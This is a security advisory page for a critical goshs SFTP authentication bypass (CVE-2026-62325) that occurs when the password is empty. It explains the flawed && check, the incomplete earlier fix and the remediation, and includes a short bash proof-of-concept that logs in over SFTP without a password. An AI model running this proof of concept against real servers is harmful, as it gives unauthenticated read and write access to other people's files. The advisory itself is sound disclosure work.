GHSA-RJRW-MJQ6-HPMM

Vulnerability from github – Published: 2026-07-28 21:56 – Updated: 2026-07-28 21:56
VLAI
Summary
goshs SFTP authentication bypass via empty password (incomplete fix of CVE-2026-40884)
Details

Summary

Start goshs v2.1.3 with -b 'admin:' -sftp. No -fkf. SFTP accepts connections without password. CVE-2026-40884 blocks the empty-username variant (-b ':pass'). The empty-password variant bypasses that fix.

CVE-2026-40884

CVE-2026-40884 (GHSA-c29w-qq4m-2gcv, Apr 13 2026) reported the empty-username case: -b ':pass' with -sftp. sftpserver.go:85 uses &&:

if s.Username != "" && s.Password != "" {
    sshServer.PasswordHandler = func(ctx ssh.Context, password string) bool {
        return subtle.ConstantTimeCompare([]byte(ctx.User()), []byte(s.Username)) == 1 && subtle.ConstantTimeCompare([]byte(password), []byte(s.Password)) == 1
    }
}

Empty username → Username != "" false → PasswordHandler nil. No -fkf means PublicKeyHandler also nil. gliderlabs/ssh sees all handlers nil and sets NoClientAuth = true. Unauthenticated access.

Patrickhener fixed it with a sanity check at sanity/checks.go:114-118:

if opts.FTP && opts.FTPSFTPMode && strings.HasPrefix(opts.BasicAuth, ":") {
    logger.Fatal("When using SFTP with password authentication, the username cannot be empty. ...")
}

HasPrefix(":") catches empty username. It does not catch empty password.

Empty Password Bypass

Same && at sftpserver.go:85. Same nil handler. Different input:

goshs -b 'admin:' -sftp
  • Username = "admin", Password = ""
  • Username != "" && Password != "" → false. Password is empty.
  • PasswordHandler not set. No -fkf → PublicKeyHandler not set.
  • gliderlabs/ssh → NoClientAuth = true.

CVE-2026-40884 patched the symptom (empty username) with input validation. Root cause (&&) stayed in the code. v2.1.3 still has it. That makes any unanticipated input format exploitable.

PoC

#!/usr/bin/env bash
set -euo pipefail

HOST="${1:-127.0.0.1}"
PORT="${2:-2121}"

echo "[*] Connecting to goshs SFTP at $HOST:$PORT with empty password..."
echo "ls -la /" | sftp -o StrictHostKeyChecking=no \
  -o UserKnownHostsFile=/dev/null \
  -o PreferredAuthentications=none,password \
  -o PubkeyAuthentication=no \
  -P "$PORT" -b - admin@"$HOST" 2>&1 && \
  echo "[+] VULNERABLE: Connected without password!" || \
  echo "[-] Connection failed (patched or not running)"

Root Cause

// Wrong: &&
if s.Username != "" && s.Password != "" {

// Correct: ||
if s.Username != "" || s.Password != "" {

&& blocks PasswordHandler when either field is empty. || installs it when either field is set.

Incomplete Fix

Patrickhener added HasPrefix(":") at sanity/checks.go:116. Two gaps remain:

  1. && still at sftpserver.go:85 in v2.1.3
  2. No HasSuffix(":") check for empty password

Impact

  • Unauthenticated SFTP file access (read, write, delete, rename)
  • Same impact as CVE-2026-40884 via a different input
  • Exploitable with -b 'user:' and no -fkf

Affected

All goshs versions including v2.1.3. CVE-2026-40884 fix does not cover this variant.

Recommended Fix

  1. && → || at sftpserver/sftpserver.go:85
  2. HasSuffix(":") check at sanity/checks.go
  3. Shared auth handler setup for HTTP and SFTP code paths
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/patrickhener/goshs/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1.3"
            },
            {
              "fixed": "2.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.1.3"
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "goshs.de/goshs/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1.3"
            },
            {
              "fixed": "2.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.1.3"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-62325"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-28T21:56:28Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nStart goshs v2.1.3 with `-b \u0027admin:\u0027 -sftp`. No `-fkf`. SFTP accepts connections without password. CVE-2026-40884 blocks the empty-username variant (`-b \u0027:pass\u0027`). The empty-password variant bypasses that fix.\n\n## CVE-2026-40884\n\n**CVE-2026-40884** (GHSA-c29w-qq4m-2gcv, Apr 13 2026) reported the empty-username case: `-b \u0027:pass\u0027` with `-sftp`. `sftpserver.go:85` uses `\u0026\u0026`:\n\n```go\nif s.Username != \"\" \u0026\u0026 s.Password != \"\" {\n    sshServer.PasswordHandler = func(ctx ssh.Context, password string) bool {\n        return subtle.ConstantTimeCompare([]byte(ctx.User()), []byte(s.Username)) == 1 \u0026\u0026 subtle.ConstantTimeCompare([]byte(password), []byte(s.Password)) == 1\n    }\n}\n```\n\nEmpty username \u2192 `Username != \"\"` false \u2192 `PasswordHandler` nil. No `-fkf` means `PublicKeyHandler` also nil. gliderlabs/ssh sees all handlers nil and sets `NoClientAuth = true`. Unauthenticated access.\n\nPatrickhener fixed it with a sanity check at `sanity/checks.go:114-118`:\n\n```go\nif opts.FTP \u0026\u0026 opts.FTPSFTPMode \u0026\u0026 strings.HasPrefix(opts.BasicAuth, \":\") {\n    logger.Fatal(\"When using SFTP with password authentication, the username cannot be empty. ...\")\n}\n```\n\n`HasPrefix(\":\")` catches empty username. It does not catch empty password.\n\n## Empty Password Bypass\n\nSame `\u0026\u0026` at `sftpserver.go:85`. Same nil handler. Different input:\n\n```\ngoshs -b \u0027admin:\u0027 -sftp\n```\n\n- `Username = \"admin\"`, `Password = \"\"`\n- `Username != \"\" \u0026\u0026 Password != \"\"` \u2192 false. Password is empty.\n- `PasswordHandler` not set. No `-fkf` \u2192 `PublicKeyHandler` not set.\n- gliderlabs/ssh \u2192 `NoClientAuth = true`.\n\nCVE-2026-40884 patched the symptom (empty username) with input validation. Root cause (`\u0026\u0026`) stayed in the code. v2.1.3 still has it. That makes any unanticipated input format exploitable.\n\n## PoC\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nHOST=\"${1:-127.0.0.1}\"\nPORT=\"${2:-2121}\"\n\necho \"[*] Connecting to goshs SFTP at $HOST:$PORT with empty password...\"\necho \"ls -la /\" | sftp -o StrictHostKeyChecking=no \\\n  -o UserKnownHostsFile=/dev/null \\\n  -o PreferredAuthentications=none,password \\\n  -o PubkeyAuthentication=no \\\n  -P \"$PORT\" -b - admin@\"$HOST\" 2\u003e\u00261 \u0026\u0026 \\\n  echo \"[+] VULNERABLE: Connected without password!\" || \\\n  echo \"[-] Connection failed (patched or not running)\"\n```\n\n## Root Cause\n\n```go\n// Wrong: \u0026\u0026\nif s.Username != \"\" \u0026\u0026 s.Password != \"\" {\n\n// Correct: ||\nif s.Username != \"\" || s.Password != \"\" {\n```\n\n`\u0026\u0026` blocks `PasswordHandler` when either field is empty. `||` installs it when either field is set.\n\n## Incomplete Fix\n\nPatrickhener added `HasPrefix(\":\")` at `sanity/checks.go:116`. Two gaps remain:\n\n1. `\u0026\u0026` still at `sftpserver.go:85` in v2.1.3\n2. No `HasSuffix(\":\")` check for empty password\n\n## Impact\n\n- Unauthenticated SFTP file access (read, write, delete, rename)\n- Same impact as CVE-2026-40884 via a different input\n- Exploitable with `-b \u0027user:\u0027` and no `-fkf`\n\n## Affected\n\nAll goshs versions including v2.1.3. CVE-2026-40884 fix does not cover this variant.\n\n## Recommended Fix\n\n1. `\u0026\u0026` \u2192 `||` at `sftpserver/sftpserver.go:85`\n2. `HasSuffix(\":\")` check at `sanity/checks.go`\n3. Shared auth handler setup for HTTP and SFTP code paths",
  "id": "GHSA-rjrw-mjq6-hpmm",
  "modified": "2026-07-28T21:56:28Z",
  "published": "2026-07-28T21:56:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/goshs-labs/goshs/security/advisories/GHSA-rjrw-mjq6-hpmm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/goshs-labs/goshs/commit/32f4a0e1790a709f722d0f3b2341f139d003180a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/goshs-labs/goshs"
    },
    {
      "type": "WEB",
      "url": "https://github.com/goshs-labs/goshs/releases/tag/v2.1.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "goshs SFTP authentication bypass via empty password (incomplete fix of CVE-2026-40884)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…